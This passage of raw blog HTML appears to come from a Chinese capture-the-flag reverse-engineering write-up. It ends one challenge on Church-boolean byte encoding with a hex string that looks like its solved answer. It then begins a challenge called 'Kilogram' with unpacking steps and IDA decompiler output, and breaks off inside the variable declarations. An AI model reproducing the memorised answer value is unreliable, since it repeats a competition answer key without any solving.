leaf=""> b: </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">lambda</span></span><span leaf=""> f: f(a)(b))</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">读取时：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">每个字节会被展开成 8 个 Church Bool（LSB→MSB），然后用 PAIR 做成一棵完美平衡树：</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">pair(pair(pair(b0,b1), pair(b2,b3)), pair(pair(b4,b5), pair(b6,b7)))</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">172064d8b6712022735da8fc088ca07ff344596e8bbca22b75df360b5226e31bb3a2f9f284</span></strong></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">Kilogram</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">脱壳机先脱个壳 随后ida打开附件 具体分析如下</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">__int64 __fastcall </span><span style="color: #61aeee;line-height: 26px;"><span leaf="">sub_1400021E7</span></span><span style="line-height: 26px;"><span leaf="">(__int64 a1, __int64 a2)</span></span><span leaf=""><br/></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v2; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v3; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v4; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v5; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v6; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v7; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v8; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v9; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  __int64 v10; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rdx</span></span><span leaf=""><br/></span><span leaf="">  __int64 v11; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rdx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v12; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v13; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v14; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v15; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v16; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  __int64 v17; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rdx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v18; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v19; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v20; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> *v21; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rsi</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span leaf=""> __int64 v22; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rdi</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v23; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v24; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v25; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v26; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v27; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v28; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v29; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v30; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v31; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v32; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  __int64 v33; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rdx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v34; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v35; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v36; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v37; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  __int64 v38; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rbx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v39; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v40; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v41; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  __int64 v42; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rax</span></span><span leaf=""><br/></span><span leaf="">  __int64 v43; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rdx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v44; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v45; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v46; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v47; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span leaf=""> __int64 v48; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rbx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v49; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v50; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  _BYTE *v51; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rax</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v52; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// dl</span></span><span leaf=""><br/></span><span leaf="">  _BYTE *v53; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rax</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v54; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ecx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span leaf=""> __int64 v55; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rax</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v56; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v57; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v58; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v59; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span leaf=""> __int64 v60; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rbx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v61; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v62; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span leaf="">  _BYTE *v63; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rax</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">char</span></span><span leaf=""> v64; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// dl</span></span><span leaf=""><br/></span><span leaf="">  _BYTE *v65; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rax</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v66; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ecx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">unsigned</span></span><span leaf=""> __int64 v67; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// rax</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v68; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v69; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v70; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v71; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v72; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v73; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v74; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v75; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v76; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v77; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v78; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v79; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// esi</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v80; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v81; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v82; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v83; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ebx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v84; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v85; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v86; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v87; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v88; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v89; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v90; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v91; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v92; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// esi</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v93; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v94; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v95; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v96; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ebx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v97; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v98; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v99; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v100; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v101; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v102; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v103; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v104; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v105; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// esi</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v106; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v107; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v108; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v109; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ebx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v110; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v111; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v112; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v113; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v114; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v115; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v116; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r9d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v117; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// edx</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v118; </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// r8d</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">int</span></span><span leaf=""> v119; </span><span style="color: 